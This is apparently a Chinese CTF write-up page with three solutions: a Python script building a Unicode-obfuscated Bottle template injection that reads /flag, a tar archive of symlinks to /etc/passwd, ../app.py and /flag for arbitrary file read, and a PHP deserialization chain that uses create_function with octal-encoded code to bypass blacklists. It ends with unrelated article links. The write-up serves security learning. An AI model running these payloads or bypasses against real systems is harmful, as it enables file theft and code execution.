import zipfile def generate_exp(): print("[*] 开始生成 Payload...") # 1. 定义字符转换逻辑 (Unicode Bypass) # 将 ASCII 字符转换为 Mathematical Italic Small (U+1D44E 开始) # 用于绕过 str.lower() in blacklist 的检查 def get_unicode(char): blacklist = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z"] if char in blacklist: return chr(0x1d44e + (ord(char) - ord('a'))) return char # 2. 构造 Payload: open('/flag').read() # 注意:'/flag' 中的字符 f,l,a,g 不在黑名单,不需要转换 target_func = "open('/flag').read()" for char in target_func: # 只转换函数名中的黑名单字符,符号和白名单字符保持不变 if char.isalpha(): payload_str += get_unicode(char) else: payload_str += char # 3. 包裹 Bottle 模板语法 # 必须加上 {{ }},否则 Bottle 会误以为这是文件名而报错 "Template not found" final_payload = f"{{{{{payload_str}}}}}" print(f"[+] Payload 内容: {final_payload}") # 输出示例: {{𝑜𝑝𝑒𝑛('/flag').𝑟𝑒𝑎𝑑()}} # 4. 写入 ZIP 文件 zip_name = "exp.zip" with zipfile.ZipFile(zip_name, 'w') as zf: zf.writestr("exp.txt", final_payload) print(f"[+] {zip_name} 生成成功!请上传此文件。") if __name__ == "__main__": generate_exp()

flag?我就借走了

此题允许用户上传tar压缩包,服务器会自动解压,并提供文件下载功能,一开始打一般的文件上传的打法不通,不知道源代码有点没头绪,队友打软链接打通了,我们用这种方法来复现一下这道题,这道题能这样打是因为Python的tarfile模块在解压时,默认会保留压缩包内的软链接,如果服务器解压了包含指向/etc/passwd 或app.py的软链接文件,并且Web服务器允许用户下载这些文件,我们就能读取任意文件

一键脚本payload,猜了一手flag的位置上传文件成功,下载leak_flag_root文件得到flag

import tarfile # 创建一个探测用的 tar 包 with tarfile.open("payload.tar", "w") as tar: # 探测 1: 尝试读取 /etc/passwd (验证漏洞是否存在) info1 = tarfile.TarInfo("leak_passwd") info1.type = tarfile.SYMTYPE info1.linkname = "/etc/passwd" tar.addfile(info1) # 探测 2: 尝试读取上一级目录的 app.py info2 = tarfile.TarInfo("leak_app_up") info2.type = tarfile.SYMTYPE info2.linkname = "../app.py" tar.addfile(info2) # 探测 3: 直接指向根目录的flag info3 = tarfile.TarInfo("leak_flag_root") info3.type = tarfile.SYMTYPE info3.linkname = "/flag" tar.addfile(info3)

Bypass

源码

<?php class FLAG { private $a; protected $b; public function __construct($a, $b) { $this->a = $a; $this->b = $b; $this->check($a,$b); eval($a.$b); #过滤严打不通 } public function __destruct(){ $a = (string)$this->a; $b = (string)$this->b; if ($this->check($a,$b)){ $a("", $b); #可以利用动态函数调用 } else{ echo "Try again!"; } } private function check($a, $b) { #黑名单过滤 $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open']; #可以用create_function $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f']; $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i'; $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i'; if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) { return false; } return true; } } if (isset($_GET['exp'])) { $p = unserialize($_GET['exp']); #入口点 var_dump($p); }else{ highlight_file("index.php"); }

通过利用函数create_function()来打通这条链子,设置$a为函数create_function,设置$b为highlight_file('/flag')来读取flag,但是对于$b有单字符的过滤需要编码绕过,这里采用八进制绕过,还要注意payload里的代码执行格式

payload

<?php class FLAG { private $a; protected $b; public function __construct($a, $b) { $this->a = $a; $this->b = $b; } } $a="create_function"; $func="\\150\\151\\147\\150\\154\\151\\147\\150\\164\\137\\146\\151\\154\\145"; #highlight_file $arg ="\\057\\146\\154\\141\\147"; #/flag #组合成这样的格式是因为调用$a("", $b)即create_function("", $b)时,PHP实际上是$code="function __lambda_func(){ ".$b."}";,然后调用 eval 执行这个字符串eval($code); #所以我们需要用}去闭合$b前面的操作这样才能让$b配合$a成功执行 $b='}$v="'.$func.'";$v("'.$arg.'");{'; $obj=new FLAG($a, $b); echo "?exp=".urlencode(serialize($obj)); ?>

Read more

中小型企业大数据平台全栈搭建:Hive+HDFS+YARN+Hue+ZooKeeper+MySQL+Sqoop+Azkaban 保姆级配置指南

中小型企业大数据平台全栈搭建:Hive+HDFS+YARN+Hue+ZooKeeper+MySQL+Sqoop+Azkaban 保姆级配置指南

目录 * 背景‌ * 一、环境规划与依赖准备‌ * 1. 服务器规划(3节点集群) * 2. 系统与依赖‌ * 3. Hadoop生态组件版本与下载路径 * 4. 架构图 * 二、Hadoop(HDFS+YARN)安装与配置‌ * 1. 下载与解压(所有节点) * 2. HDFS高可用配置 * 3. YARN资源配置‌ * 4. 启动Hadoop集群 * 三、MySQL安装与Hive元数据配置‌ * 1. 安装MySQL(Master节点) * 2. Hive配置连接MySQL * 3. 初始化Hive元数据 * 四、Sqoop安装与数据迁移实战‌ * 1. 下载与配置(Master节点) * 2. 配置环境变量 * 五、Azkaban工作流调度系统部署‌ * 1. 安装Azkaban(Master和Worker1节点) * 2. 配置Azkaban‌

By Ne0inhk
Flutter for OpenHarmony 实战:Hive CE — 极速 NoSQL 本地存储

Flutter for OpenHarmony 实战:Hive CE — 极速 NoSQL 本地存储

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net 前言 在 Flutter for OpenHarmony 应用开发中,数据持久化是构建流畅体验的核心基石。无论是用户的登录状态、应用主题偏好,还是海量的离线缓存数据,都需要一套既快速又可靠的存储方案。 传统的 SQLite 虽然功能强大,但在处理简单的键值对(Key-Value)时往往显得过于沉重。Hive CE (Community Edition) 凭借其纯 Dart 编写、读写性能卓越的优势,成为了鸿蒙开发者的首选。本文将结合鸿蒙插件适配的最佳实践,带你构建一个工业级的加密存储方案。 一、Hive CE 的底层优势解析 1.1 纯 Dart 的并行优势 Hive 完全由 Dart 实现。在鸿蒙系统上,这意味着它避开了复杂的 JNI 调用开销。

By Ne0inhk
Hive常见故障多案例FAQ宝典 --项目总结(宝典一)

Hive常见故障多案例FAQ宝典 --项目总结(宝典一)

🥇个人主页:500佰  #Hive常见故障 #大数据 #生产环境真实案例 #Hive #离线数据库 #整理 #经验总结 说明:此篇总结hive常见故障案例处理方案 结合自身经历 总结不易+关注(劳烦各位) +收藏 欢迎留言 专栏:Hive常见故障多案例FAQ宝典                   【1】参数及配置类常见故障  本章          【2】任务运行类常见故障   本章          【3】SQL使用类常见故障  详见(点击跳转):            Hive常见故障多案例FAQ宝典 --项目总结(宝典二) 友情链接:Hive性能调优指导 --项目优化(指导书) 目录 架构概述 【1】参数及配置类常见故障 案例如下: 执行set命令的时候报cannot modify xxx at runtime. 怎样在Hive提交任务的时候指定队列? 如何在导入表时指定输出的文件压缩格式 desc描述表过长时,无法显示完整

By Ne0inhk